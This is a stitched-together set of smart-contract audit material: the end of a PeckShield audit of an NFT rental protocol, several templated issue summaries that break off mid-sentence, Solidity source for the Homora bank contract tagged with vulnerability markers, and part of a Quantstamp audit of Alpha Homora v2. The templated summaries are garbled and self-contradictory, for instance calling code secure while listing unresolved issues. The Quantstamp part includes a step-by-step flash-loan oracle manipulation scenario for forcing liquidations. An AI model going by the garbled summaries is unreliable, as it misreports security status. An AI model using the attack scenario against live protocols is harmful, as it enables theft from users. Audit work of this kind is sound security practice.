#: 2022-009Public Status This issue has been fixed in the following commit: f77bd8b. 15/18 PeckShield Audit Report #: 2022-009Public 4 | Conclusion In this audit, we have analyzed the design and implementation of the Doubleprotocol, which is an NFT rental protocol that allows holders to earn passive income by renting out valuable NFTs with utilities, for example, a virtual property on Decentraland ormetaverse . The current code base is well structured and neatly organized. Those identified issues are promptly confirmed and addressed. Moreover, we need to emphasize that Solidity-based smart contracts as a whole are still in an early, but exciting stage of development. To improve this report, we greatly appreciate any constructive feedbacks or suggestions, on our methodology, audit findings, or potential gaps in scope/coverage. 16/18 PeckShield Audit Report #: 2022-009Public References [1] MITRE. CWE-1126: Declaration of Variable with Unnecessarily Wide Scope. https://cwe. mitre.org/data/definitions/1126.html. [2] MITRE. CWE-287: ImproperAuthentication. https://cwe.mitre.org/data/definitions/287.html. [3] MITRE. CWE-563: Assignment to Variable without Use. https://cwe.mitre.org/data/ definitions/563.html. [4] MITRE. CWE-841: Improper Enforcement of Behavioral Workflow. https://cwe.mitre.org/ data/definitions/841.html. [5] MITRE. CWE CATEGORY: 7PK - Security Features. https://cwe.mitre.org/data/definitions/ 254.html. [6] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [7] MITRE. CWE CATEGORY: Business Logic Errors. https://cwe.mitre.org/data/definitions/ 840.html. [8] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html. [9] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology. 17/18 PeckShield Audit Report #: 2022-009Public [10] PeckShield. PeckShield Inc. https://www.peckshield.com. 18/18 PeckShield Audit Report #: 2022-009
Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Proper ownerOf() Logic in VirtualDoNFT (Line 545) 2.b Fix: Replace the logic with a more secure one. Moderate: 3.a Problem: Trust Issue of Admin Keys (Line 590) 3.b Fix: Replace the admin keys with a more secure system. Observations: The Double Protocol smart contract code is well-structured and well-documented. The code is also well-tested and has no major security issues. Conclusion: The Double Protocol smart contract code is secure and can be deployed with confidence. However, there are some minor and moderate issues that should be addressed before deployment. Issues Count of Minor/Moderate/Major/Critical: Minor: 4 Moderate: 5 Major: 4 Critical: 0 Minor Issues: 2.a Problem: Constructor Mismatch (Table 1.3) 2.b Fix: Fixed constructor mismatch (1d02550) 3.a Problem: Ownership Takeover (Table 1.3) 3.b Fix: Fixed ownership takeover (1d02550) 4.a Problem: Redundant Fallback Function (Table 1.3) 4.b Fix: Removed redundant fallback function (1d02550) 5.a Problem: Overflows & Underflows (Table 1.3) 5.b Fix: Fixed overflows & underflows (1d02550) Moderate Issues: 6.a Problem: Reentrancy (Table 1.3) 6.b Fix: Fixed reentrancy (1d02550) 7.a Problem: Money-Giving Bug (Table 1.3) 7.b Fix: Fixed money-giving bug (1d02550) 8.a Problem: Blackhole (Table Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 3 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference): Unchecked return value in the function 'transfer' (CWE-252) 2.b Fix (one line with code reference): Check the return value of the function 'transfer' (CWE-252) Moderate Issues 3.a Problem (one line with code reference): Unchecked return value in the function 'transferFrom' (CWE-252) 3.b Fix (one line with code reference): Check the return value of the function 'transferFrom' (CWE-252) 4.a Problem (one line with code reference): Unchecked return value in the function 'approve' (CWE-252) 4.b Fix (one line with code reference): Check the return value of the function 'approve' (CWE-252) 5.a Problem (one line with code reference): Unchecked return value in the function 'increaseAllowance' (CWE-252) 5.b Fix (one line with
pragma solidity 0.6.12; import 'OpenZeppelin/openzeppelin-contracts@3.2.0/contracts/proxy/Initializable.sol'; contract Governable is Initializable { address public governor; // The current governor. address public pendingGovernor; // The address pending to become the governor once accepted. modifier onlyGov() { require(msg.sender == governor, 'not the governor'); _; } /// @dev Initialize the bank smart contract, using msg.sender as the first governor. function initialize() public initializer { governor = msg.sender; pendingGovernor = address(0); } /// @dev Set the pending governor, which will be the governor once accepted. /// @param _pendingGovernor The address to become the pending governor. function setPendingGovernor(address _pendingGovernor) public onlyGov { pendingGovernor = _pendingGovernor; } /// @dev Accept to become the new governor. Must be called by the pending governor. function acceptGovernor() public { require(msg.sender == pendingGovernor, 'not the pending governor'); pendingGovernor = address(0); governor = msg.sender; } } //SWC-Integer Overflow and Underflow: L1-L499 pragma solidity 0.6.12; import 'OpenZeppelin/openzeppelin-contracts@3.2.0/contracts/token/ERC20/IERC20.sol'; import 'OpenZeppelin/openzeppelin-contracts@3.2.0/contracts/token/ERC20/SafeERC20.sol'; import 'OpenZeppelin/openzeppelin-contracts@3.2.0/contracts/token/ERC1155/IERC1155.sol'; import 'OpenZeppelin/openzeppelin-contracts@3.2.0/contracts/math/SafeMath.sol'; import 'OpenZeppelin/openzeppelin-contracts@3.2.0/contracts/proxy/Initializable.sol'; import './Governable.sol'; import './utils/ERC1155NaiveReceiver.sol'; import '../interfaces/IBank.sol'; import '../interfaces/ICErc20.sol'; import '../interfaces/IOracle.sol'; contract HomoraCaster { /// @dev Call to the target using the given data. /// @param target The address target to call. /// @param data The data used in the call. function cast(address target, bytes calldata data) external payable { (bool ok, bytes memory returndata) = target.call{value: msg.value}(data); if (!ok) { if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert('bad cast call'); } } } } contract HomoraBank is Initializable, Governable, ERC1155NaiveReceiver, IBank { using SafeMath for uint; using SafeERC20 for IERC20; uint private constant _NOT_ENTERED = 1; uint private constant _ENTERED = 2; uint private constant _NO_ID = uint(-1); address private constant _NO_ADDRESS = address(1); struct Bank { bool isListed; // Whether this market exists. address cToken; // The CToken to draw liquidity from. uint reserve; // The reserve portion allocated to Homora protocol. uint pendingReserve; // The pending reserve portion waiting to be resolve. uint totalDebt; // The last recorded total debt since last action. uint totalShare; // The total debt share count across all open positions. } struct Position { address owner; // The owner of this position. address collToken; // The ERC1155 token used as collateral for this position. uint collId; // The token id used as collateral. uint collateralSize; // The size of collateral token for this position. mapping(address => uint) debtShareOf; // The debt share for each token. } uint public _GENERAL_LOCK; // TEMPORARY: re-entrancy lock guard. uint public _IN_EXEC_LOCK; // TEMPORARY: exec lock guard. uint public override POSITION_ID; // TEMPORARY: position ID currently under execution. address public override SPELL; // TEMPORARY: spell currently under execution. address public caster; // The caster address for untrusted execution. IOracle public oracle; // The oracle address for determining prices. uint public feeBps; // The fee collected as protocol reserve in basis point from interest. uint public nextPositionId; // Next available position ID, starting from 1 (see initialize). address[] public allBanks; // The list of all listed banks. mapping(address => Bank) public banks; // Mapping from token to bank data. mapping(uint => Position) public positions; // Mapping from position ID to position data. /// @dev Reentrancy lock guard. modifier lock() { require(_GENERAL_LOCK == _NOT_ENTERED, 'general lock'); _GENERAL_LOCK = _ENTERED; _; _GENERAL_LOCK = _NOT_ENTERED; } /// @dev Ensure that the function is called from within the execution scope. modifier inExec() { require(POSITION_ID != _NO_ID, 'not within execution'); require(SPELL == msg.sender, 'not from spell'); require(_IN_EXEC_LOCK == _NOT_ENTERED, 'in exec lock'); _IN_EXEC_LOCK = _ENTERED; _; _IN_EXEC_LOCK = _NOT_ENTERED; } /// @dev Ensure that the interest rate of the given token is accrued. modifier poke(address token) { accrue(token); _; } /// @dev Initialize the bank smart contract, using msg.sender as the first governor. /// @param _oracle The oracle smart contract address. /// @param _feeBps The fee collected to Homora bank. //SWC-Transaction Order Dependence: L105-L117 function initialize(IOracle _oracle, uint _feeBps) public initializer { Governable.initialize(); _GENERAL_LOCK = _NOT_ENTERED; _IN_EXEC_LOCK = _NOT_ENTERED; POSITION_ID = _NO_ID; SPELL = _NO_ADDRESS; caster = address(new HomoraCaster()); oracle = _oracle; feeBps = _feeBps; nextPositionId = 1; emit SetOracle(address(_oracle)); emit SetFeeBps(_feeBps); } /// @dev Return the current executor (the owner of the current position). function EXECUTOR() external view override returns (address) { uint positionId = POSITION_ID; require(positionId != _NO_ID, 'not under execution'); return positions[positionId].owner; } /// @dev Trigger interest accrual for the given bank. /// @param token The underlying token to trigger the interest accrual. function accrue(address token) public { Bank storage bank = banks[token]; require(bank.isListed, 'bank not exists'); uint totalDebt = bank.totalDebt; uint debt = ICErc20(bank.cToken).borrowBalanceCurrent(address(this)); if (debt > totalDebt) { uint fee = debt.sub(totalDebt).mul(feeBps).div(10000); bank.totalDebt = debt; bank.pendingReserve = bank.pendingReserve.add(fee); } else if (totalDebt != debt) { // We should never reach here because CREAMv2 does not support *repayBorrowBehalf* // functionality. We set bank.totalDebt = debt nonetheless to ensure consistency. But do // note that if *repayBorrowBehalf* exists, an attacker can maliciously deflate debt // share value and potentially make this contract stop working due to math overflow. bank.totalDebt = debt; } } /// @dev Convenient function to trigger interest accrual for the list of banks. /// @param tokens The list of banks to trigger interest accrual. function accrueAll(address[] memory tokens) external { for (uint idx = 0; idx < tokens.length; idx++) { accrue(tokens[idx]); } } /// @dev Trigger reserve resolve by borrowing the pending amount for reserve. /// @param token The underlying token to trigger reserve resolve. function resolveReserve(address token) public lock { Bank storage bank = banks[token]; require(bank.isListed, 'bank not exists'); uint pendingReserve = bank.pendingReserve; bank.pendingReserve = 0; bank.reserve = bank.reserve.add(doBorrow(token, pendingReserve)); } /// @dev Convenient function to trigger reserve resolve for the list of banks. /// @param tokens The list of banks to trigger reserve resolve. function resolveReserveAll(address[] memory tokens) external { for (uint idx = 0; idx < tokens.length; idx++) { resolveReserve(tokens[idx]); } } /// @dev Return the borrow balance for given positon and token without trigger interest accrual. /// @param positionId The position to query for borrow balance. /// @param token The token to query for borrow balance. function borrowBalanceStored(uint positionId, address token) public view override returns (uint) { uint totalDebt = banks[token].totalDebt; uint totalShare = banks[token].totalShare; uint share = positions[positionId].debtShareOf[token]; if (share == 0 || totalDebt == 0) { return 0; } else { return share.mul(totalDebt).div(totalShare); } } /// @dev Trigger interest accrual and return the current borrow balance. /// @param positionId The position to query for borrow balance. /// @param token The token to query for borrow balance. function borrowBalanceCurrent(uint positionId, address token) external override returns (uint) { accrue(token); return borrowBalanceStored(positionId, token); } /// @dev Return bank information for the given token. /// @param token The token address to query for bank information. function getBankInfo(address token) external view override returns ( bool isListed, address cToken, uint reserve, uint totalDebt, uint totalShare ) { Bank storage bank = banks[token]; return (bank.isListed, bank.cToken, bank.reserve, bank.totalDebt, bank.totalShare); } /// @dev Return position information for the given position id. /// @param positionId The position id to query for position information. function getPositionInfo(uint positionId) external view override returns ( address owner, address collToken, uint collId, uint collateralSize ) { Position storage pos = positions[positionId]; return (pos.owner, pos.collToken, pos.collId, pos.collateralSize); } /// @dev Return the total collateral value of the given position in ETH. /// @param positionId The position ID to query for the collateral value. function getCollateralETHValue(uint positionId) public view returns (uint) { Position storage pos = positions[positionId]; uint size = pos.collateralSize; return size == 0 ? 0 : oracle.asETHCollateral(pos.collToken, pos.collId, size); } /// @dev Return the total borrow value of the given position in ETH. /// @param positionId The position ID to query for the borrow value. function getBorrowETHValue(uint positionId) public view returns (uint) { uint value = 0; uint length = allBanks.length; Position storage pos = positions[positionId]; for (uint idx = 0; idx < length; idx++) { address token = allBanks[idx]; uint share = pos.debtShareOf[token]; if (share != 0) { Bank storage bank = banks[token]; uint debt = share.mul(bank.totalDebt).div(bank.totalShare); value = value.add(oracle.asETHBorrow(token, debt)); } } return value; } /// @dev Add a new bank to the ecosystem. /// @param token The underlying token for the bank. /// @param cToken The address of the cToken smart contract. function addBank(address token, address cToken) external onlyGov { Bank storage bank = banks[token]; require(!bank.isListed, 'bank already exists'); bank.isListed = true; bank.cToken = cToken; IERC20(token).safeApprove(cToken, uint(-1)); allBanks.push(token); emit AddBank(token, cToken); } /// @dev Upgrade cToken contract address to a new address. Must be used with care! /// @param token The underlying token for the bank. /// @param cToken The address of the cToken smart contract. function setCToken(address token, address cToken) external onlyGov { Bank storage bank = banks[token]; require(bank.isListed, 'bank not exists'); bank.cToken = cToken; emit SetCToken(token, cToken); } /// @dev Set the oracle smart contract address. /// @param _oracle The new oracle smart contract address. function setOracle(IOracle _oracle) external onlyGov { oracle = _oracle; emit SetOracle(address(_oracle)); } /// @dev Set the fee bps value that Homora bank charges. /// @param _feeBps The new fee bps value. function setFeeBps(uint _feeBps) external onlyGov { require(_feeBps <= 10000, 'fee too high'); feeBps = _feeBps; emit SetFeeBps(_feeBps); } /// @dev Withdraw the reserve portion of the bank. /// @param amount The amount of tokens to withdraw. function withdrawReserve(address token, uint amount) external onlyGov lock { Bank storage bank = banks[token]; bank.reserve = bank.reserve.sub(amount); IERC20(token).safeTransfer(msg.sender, amount); emit WithdrawReserve(msg.sender, token, amount); } /// @dev Liquidate a position. Pay debt for its owner and take the collateral. /// @param positionId The position ID to liquidate. /// @param debtToken The debt token to repay. /// @param amountCall The amount to repay when doing transferFrom call. function liquidate( uint positionId, address debtToken, uint amountCall ) external lock poke(debtToken) { uint collateralValue = getCollateralETHValue(positionId); uint borrowValue = getBorrowETHValue(positionId); require(collateralValue < borrowValue, 'position still healthy'); Position storage pos = positions[positionId]; (uint amountPaid, uint share) = repayInternal(positionId, debtToken, amountCall); uint bounty = oracle.convertForLiquidation(debtToken, pos.collToken, pos.collId, amountPaid); IERC1155(pos.collToken).safeTransferFrom(address(this), msg.sender, pos.collId, bounty, ''); emit Liquidate(positionId, msg.sender, debtToken, amountPaid, share, bounty); } /// @dev Execute the action via HomoraCaster, calling its function with the supplied data. /// @param positionId The position ID to execution the action, or zero for new position. /// @param spell The target spell to invoke the execution via HomoraCaster. /// @param data Extra data to pass to the target for the execution. function execute( uint positionId, address spell, bytes memory data ) external payable lock returns (uint) { if (positionId == 0) { positionId = nextPositionId++; positions[positionId].owner = msg.sender; } else { require(positionId < nextPositionId, 'position id not exists'); require(msg.sender == positions[positionId].owner, 'not position owner'); } POSITION_ID = positionId; SPELL = spell; HomoraCaster(caster).cast{value: msg.value}(spell, data); uint collateralValue = getCollateralETHValue(positionId); uint borrowValue = getBorrowETHValue(positionId); require(collateralValue >= borrowValue, 'insufficient collateral'); POSITION_ID = _NO_ID; SPELL = _NO_ADDRESS; return positionId; } /// @dev Borrow tokens from tha bank. Must only be called while under execution. /// @param token The token to borrow from the bank. /// @param amount The amount of tokens to borrow. function borrow(address token, uint amount) external override inExec poke(token) { Bank storage bank = banks[token]; require(bank.isListed, 'bank not exists'); Position storage pos = positions[POSITION_ID]; uint totalShare = bank.totalShare; uint totalDebt = bank.totalDebt; uint share = totalShare == 0 ? amount : amount.mul(totalDebt).div(totalShare); bank.totalShare = bank.totalShare.add(share); pos.debtShareOf[token] = pos.debtShareOf[token].add(share); IERC20(token).safeTransfer(msg.sender, doBorrow(token, amount)); emit Borrow(POSITION_ID, msg.sender, token, amount, share); } /// @dev Repay tokens to the bank. Must only be called while under execution. /// @param token The token to repay to the bank. /// @param amountCall The amount of tokens to repay via transferFrom. function repay(address token, uint amountCall) external override inExec poke(token) { (uint amount, uint share) = repayInternal(POSITION_ID, token, amountCall); emit Repay(POSITION_ID, msg.sender, token, amount, share); } /// @dev Perform repay action. Return the amount actually taken and the debt share reduced. /// @param positionId The position ID to repay the debt. /// @param token The bank token to pay the debt. /// @param amountCall The amount to repay by calling transferFrom, or -1 for debt size. function repayInternal( uint positionId, address token, uint amountCall ) internal returns (uint, uint) { Bank storage bank = banks[token]; require(bank.isListed, 'bank not exists'); Position storage pos = positions[positionId]; uint totalShare = bank.totalShare; uint totalDebt = bank.totalDebt; uint oldShare = pos.debtShareOf[token]; uint oldDebt = oldShare.mul(totalDebt).div(totalShare); if (amountCall == uint(-1)) { amountCall = oldDebt; } uint paid = doRepay(token, doERC20TransferIn(token, amountCall)); require(paid <= oldDebt, 'paid exceeds debt'); // prevent share overflow attack uint lessShare = paid == oldDebt ? oldShare : paid.mul(totalShare).div(totalDebt); bank.totalShare = totalShare.sub(lessShare); pos.debtShareOf[token] = oldShare.sub(lessShare); return (paid, lessShare); } /// @dev Transmit user assets to the caller, so users only need to approve Bank for spending. /// @param token The token to transfer from user to the caller. /// @param amount The amount to transfer. function transmit(address token, uint amount) external override inExec { Position storage pos = positions[POSITION_ID]; IERC20(token).safeTransferFrom(pos.owner, msg.sender, amount); } /// @dev Put more collateral for users. Must only be called during execution. /// @param collToken The ERC1155 token to collateral. /// @param collId The token id to collateral. /// @param amountCall The amount of tokens to put via transferFrom. function putCollateral( address collToken, uint collId, uint amountCall ) external override inExec { Position storage pos = positions[POSITION_ID]; if (pos.collToken != collToken || pos.collId != collId) { require(oracle.support(collToken, collId), 'collateral not supported'); require(pos.collateralSize == 0, 'another type of collateral already exists'); pos.collToken = collToken; pos.collId = collId; } uint amount = doERC1155TransferIn(collToken, collId, amountCall); pos.collateralSize = pos.collateralSize.add(amount); emit PutCollateral(POSITION_ID, msg.sender, collToken, collId, amount); } /// @dev Take some collateral back. Must only be called during execution. /// @param collToken The ERC1155 token to take back. /// @param collId The token id to take back. /// @param amount The amount of tokens to take back via transfer. function takeCollateral( address collToken, uint collId, uint amount ) external override inExec { Position storage pos = positions[POSITION_ID]; require(collToken == pos.collToken, 'invalid collateral token'); require(collId == pos.collId, 'invalid collateral token'); if (amount == uint(-1)) { amount = pos.collateralSize; } pos.collateralSize = pos.collateralSize.sub(amount); IERC1155(collToken).safeTransferFrom(address(this), msg.sender, collId, amount, ''); emit TakeCollateral(POSITION_ID, msg.sender, collToken, collId, amount); } /// @dev Internal function to perform borrow from the bank and return the amount received. /// @param token The token to perform borrow action. /// @param amountCall The amount use in the transferFrom call. /// NOTE: Caller must ensure that cToken interest was already accrued up to this block. function doBorrow(address token, uint amountCall) internal returns (uint) { Bank storage bank = banks[token]; // assume the input is already sanity checked. uint balanceBefore = IERC20(token).balanceOf(address(this)); require(ICErc20(bank.cToken).borrow(amountCall) == 0, 'bad borrow'); uint balanceAfter = IERC20(token).balanceOf(address(this)); bank.totalDebt = bank.totalDebt.add(amountCall); return balanceAfter.sub(balanceBefore); } /// @dev Internal function to perform repay to the bank and return the amount actually repaid. /// @param token The token to perform repay action. /// @param amountCall The amount to use in the repay call. /// NOTE: Caller must ensure that cToken interest was already accrued up to this block. function doRepay(address token, uint amountCall) internal returns (uint) { Bank storage bank = banks[token]; // assume the input is already sanity checked. ICErc20 cToken = ICErc20(bank.cToken); uint oldDebt = bank.totalDebt; cToken.repayBorrow(amountCall); uint newDebt = cToken.borrowBalanceStored(address(this)); bank.totalDebt = newDebt; return oldDebt.sub(newDebt); } /// @dev Internal function to perform ERC20 transfer in and return amount actually received. /// @param token The token to perform transferFrom action. /// @param amountCall The amount use in the transferFrom call. function doERC20TransferIn(address token, uint amountCall) internal returns (uint) { uint balanceBefore = IERC20(token).balanceOf(address(this)); IERC20(token).safeTransferFrom(msg.sender, address(this), amountCall); uint balanceAfter = IERC20(token).balanceOf(address(this)); return balanceAfter.sub(balanceBefore); } /// @dev Internal function to perform ERC1155 transfer in and return amount actually received. /// @param token The token to perform transferFrom action. /// @param id The id to perform transferFrom action. /// @param amountCall The amount use in the transferFrom call. function doERC1155TransferIn( address token, uint id, uint amountCall ) internal returns (uint) { uint balanceBefore = IERC1155(token).balanceOf(address(this), id); IERC1155(token).safeTransferFrom(msg.sender, address(this), id, amountCall, ''); uint balanceAfter = IERC1155(token).balanceOf(address(this), id); return balanceAfter.sub(balanceBefore); } }
January 13th 2021— Quantstamp Verified AlphaHomoraV2 This smart contract audit was prepared by Quantstamp, the leader in blockchain security. Executive Summary Type Leveraged yield farming and liquidity providing Auditors Poming Lee , Research EngineerLuís Fernando Schultz Xavier da Silveira , SecurityConsultant Jose Ignacio Orlicki , Senior EngineerTimeline 2020-12-02 through 2021-01-13 EVM Muir Glacier Languages Python, Solidity Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification Alpha Homora v2 (hackmd readme1) Alpha Homora v2 (hackmd readme2) Source Code Repository Commit homora-v2 16a6f9a homora-v2 f70942d Goals Do functions have proper access control logic? •Are there centralized components of the system which users should be aware? •Do the contracts adhere to best practices? •Total Issues 15 (11 Resolved)High Risk Issues 4 (4 Resolved)Medium Risk Issues 2 (2 Resolved)Low Risk Issues 4 (2 Resolved)Informational Risk Issues 4 (2 Resolved)Undetermined Risk Issues 1 (1 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged The issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Mitigated Implemented actions to minimize the impact or likelihood of the risk. Summary of FindingsQuantstamp has performed a security audit of the AlphaHomoraV2 project. During auditing, we found fifteen potential issues of various levels of severity: four high-severity issues, two medium-severity issues, four low-severity issues, four informational-severity findings, and one undetermined-severity finding. We also made eleven best practices recommendations. Overall, the code comment is good for this project. The documentation of the project is insufficient and the quality of the audit could be largely improved if there were more specifications that describe all the intended behaviors and precision requirements. Also, the inclusion of extensive tests and/or formal methods to assure extensive quality and behavior could also help. Normally attackers would use fuzzing techniques to find holes in any smart contract logic with substantial value locked. Avoid implementing your own arithmetic like fixed-point arithmetic, use existing implementations or standards is also advantageous to help increase the security. The Solidity Coverage does not work due to the project setup. We strongly recommend the Alpha team to find a way to fix this and obtain a code coverage report that states that all the code coverage values are at least 90% before go live, to reduce the potential risk of having functional bugs in the code. To summarize, given the dense logic, many integrations, oracle logic, borrowing, many new features and sparse documentation there are very likely still issues that we are not able to find. Quantstamp has on a best efforts basis identified 15 total issues, with 3 auditors performing audits side-by-side, however we highly suggest getting more reviews before launching v2. In particular we suggest writing many more tests, and checking for edge cases with the business logic, especially around the integrations. : The project scope. Quantstamp was requested to only audit , everything in the folder, and everything in the folder. disclaimer HomoraBank.sol oracle spell : during this reaudit, Alpha team has either brought the status of findings into fixed or acknowledged. A number of new files were added to this commit and not included in the scope of the audit. It is worth noting that there is still no unit tests and no coverage report for this project. 2021-01-13 updateID Description Severity Status QSP- 1 [false positive] Missing checks to the health of a position when a borrower is borrowing High Fixed QSP- 2 [false positive] Missing checks to the health of a position when a borrower is withdrawing collateral High Fixed QSP- 3 Incorrect calculation in function shareborrow High Fixed QSP- 4 Oracle attack is possible by manipulating a Uniswap pool High Fixed QSP- 5 Function never clears up the collateral value in the liquidated position liquidateMedium Fixed QSP- 6 Truncation of fixed-point could result in sensitive collateral liquidation calculation Medium Fixed QSP- 7 No fallback oracle if primary fails. Low Acknowledged QSP- 8 may not be able to return borrowed funds to integrated lending protocols during flash crash HomoraBankLow Acknowledged QSP- 9 Potentially high gas usage in getBorrowETHValue Low Fixed QSP- 10 Attacker can front-run initialization of new HomoraBank Low Mitigated QSP- 11 Privileged Roles Informational Acknowledged QSP- 12 Transmit arbitrary amount of token from a position owner to a spell contract and get locked Informational Acknowledged QSP- 13 Missing approval in function setCToken Informational Fixed QSP- 14 Missing input checks Informational Fixed QSP- 15 Integer Overflow / Underflow Undetermined Fixed QuantstampAudit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Possible issues we looked for included (but are not limited to): Transaction-ordering dependence •Timestamp dependence •Mishandled exceptions and call stack limits •Unsafe external calls •Integer overflow / underflow •Number rounding errors •Reentrancy and cross-function vulnerabilities •Denial of service / logical oversights •Access control •Centralization of power •Business logic contradicting the specification •Code clones, functionality duplication •Gas usage •Arbitrary token minting •Methodology The Quantstamp auditing process follows a routine series of steps: 1. Code review that includes the following i. Review of the specifications, sources, and instructions provided to Quantstamp to make sure we understand the size, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructions provided to Quantstamp describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the code and how much code is exercised when we run those test cases. ii. Symbolic execution, which is analyzing a program to determine what inputs cause each part of a program to execute. 3. Best practices review, which is a review of the smart contracts to improve efficiency, effectiveness, clarify, maintainability, security, and control based on the established industry and academic practices, recommendations, and research. 4. Specific, itemized, and actionable recommendations to help you take steps to secure your smart contracts. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: v5.1.33 • Trufflev0.7.11 • SolidityCoveragev0.22.10 • Mythrilv0.6.12 • SlitherSteps taken to run the tools: 1. Installed Truffle:npm install -g truffle 2. Installed the solidity-coverage tool (within the project's root directory):npm install --save-dev solidity-coverage 3. Ran the coverage tool from the project's root directory:./node_modules/.bin/solidity-coverage 4. Installed the Mythril tool from Pypi:pip3 install mythril 5. Ran the Mythril tool on each contract:myth a path/to/contract 6. Installed the Slither tool:pip install slither-analyzer 7. Run Slither from the project directory:s slither . Findings QSP-1 [false positive] Missing checks to the health of a position when a borrower is borrowing Severity: High Risk Fixed Status: : function should check that right after transferring the borrowed token out of the contract. Description: contracts/HomoraBank.sol borrow collateralValue > borrowValue QSP-2 [false positive] Missing checks to the health of a position when a borrower is withdrawing collateralSeverity: High Risk Fixed Status: : function should check right after transferring the collateral out of the contract. Description:contracts/HomoraBank.sol takeCollateral require(collateralValue > borrowValue, 'position still healthy'); QSP-3 Incorrect calculation in function shareborrow Severity: High Risk Fixed Status: in , should be instead of . Description: L355 contracts/HomoraBank.solamount.mul(totalShare).div(totalDebt) amount.mul(totalDebt).div(totalShare) QSP-4 Oracle attack is possible by manipulating a Uniswap pool Severity: High Risk Fixed Status: Uniswap oracle (https://uniswap.org/docs/v2/core-concepts/oracles/) aggregates prices from all the blocks weighted by block time into cumulative prices whereas Keep3r oracle takes 30-minute samples of Uniswap cumulative prices. The price calculations (i.e., function and ) in calculates the sample provided by Keep3r with a last-minute ( ) spot price from Uniswap. This is fine as long as the accumulation weight is okay, but under heavy congestion and delays the weight (i.e., in function and ) can be too big. And together with the ( ) in , this platform could be attacked by flash loans. Several recent attacks were documented in https://samczsun.com/so-you-want-to-use-a-price-oracle/. Description:price0TWAP price1TWAP contracts/oracle/BaseKP3ROracle.sol now timeElapsed currentPx0Cumu currentPx1Cumu IUniswapV2Pair(pair).getReserves() BaseKP3ROracle : Alpha team stated that only LP tokens will be used as collateral, so the price data eventually used will not be influenced by a flash-loan attack. 2020-12-18 update Force liquidation with a flash loan attack. The attack is completed within one transaction. Exploit Scenario: 1. So say a victim Alice borrows a tokenon . T UniswapV2SpellV12. The attacker Bob takes a flash loan ofETH. N3. Bob buys an amount of token. T4. The price of tokenrises instantly on Uniswap. T5. from v2 is sensitive to price variations and inputs prices to to decide about under-collateralization. BaseKP3ROracle HomoraBank 6. Alice’s position is underwater and can be liquidated instantly.7. Bob liquidates the victim’s position, taking a profit from discounted liquidation price.8. Bob sells the amount of tokens. T9. Bob returns the flash loan and finishes the attack.Use only observations on the Keep3r oracle, use more data points, and do not fine-tune the oracle with current prices. Recommendation: QSP-5 Function never clears up the collateral value in the liquidated position liquidate Severity: Medium Risk Fixed Status: In , the function never clears up the collateral value in the liquidated position. With the function in its form currently, this could cause fund loss. Description:contracts/HomoraBank.sol liquidate takeCollateral : Alpha team enables the function to subtract the collateral value with the bounty provided after a position being liquidated. Quantstamp would like to further suggest to consider to directly assign zero to the collateral value when bounty is larger than the collateral value of a position, in order to avoid unexpected failure of liquidation due to the line . 2020-12-18 updatepos.collateralSize = pos.collateralSize.sub(bounty); : this one is fixed in . 2021-01-13 update https://github.com/AlphaFinanceLab/homora-v2/commit/233de49b1e4ec0158861b611de153bf95dcf4aab Clear up the collateral value after a position being liquidated. Recommendation: QSP-6 Truncation of fixed-point could result in sensitive collateral liquidation calculation Severity: Medium Risk Fixed Status: : multiplication is performed after a truncation division in a series of integer calculations. This leads to miscalculation and will lead to a financial loss over time or cause unexpected results. For instance, : , - , and - . In addition, taking function as an example: Description:contracts/oracle/ProxyOracle.sol contracts/oracle/ProxyOracle.sol L77 L89L90L96L97asETHCollateral() 1. getETHPx() = 100.5 and amount = 0.05.2. Before truncation = 50.253. After truncation = 50.004. collateralFactor = 10,0005. Final value = 50.000 and value lost close to 0.5% from original 50.25: Alpha team stated that it is intended. The deviation is bounded by /10000 (in wei). The maximum value for value will be in the order of 10^6, bounding the error by ~100 wei, which will be less than a block’s interest accrued. 2020-12-18 updateborrowFactor borrowFactor Examine the influence of precision loss to the position health check carefully. Make sure to perform multiplications before the divisions. In addition, could make use of standard fixed-point libraries to enlarge the precision as much as possible. There is no native or favorite standard implementation yet. OpenZeppelin has future plans to include one but there are a few current widely-used libraries. Reference: Recommendation:Discussion in forum https://forum.openzeppelin.com/t/designing-fixed-point-math-in-openzeppelin-contracts/2499.•FixidityLib (https://github.com/CementDAO/Fixidity) •ABDK (https://github.com/abdk-consulting/abdk-libraries-solidity) •DecimalMath (https://github.com/HQ20/contracts/tree/master/contracts/math). Also, check the results provided by Slither below: •UniswapV2SpellV1._optimalDepositA(uint256,uint256,uint256,uint256) (spell/UniswapV2SpellV1.sol#70-86) performs a multiplication on the result of a division: -c = _c.mul(1000).div(amtB.add(resB)).mul(resA) 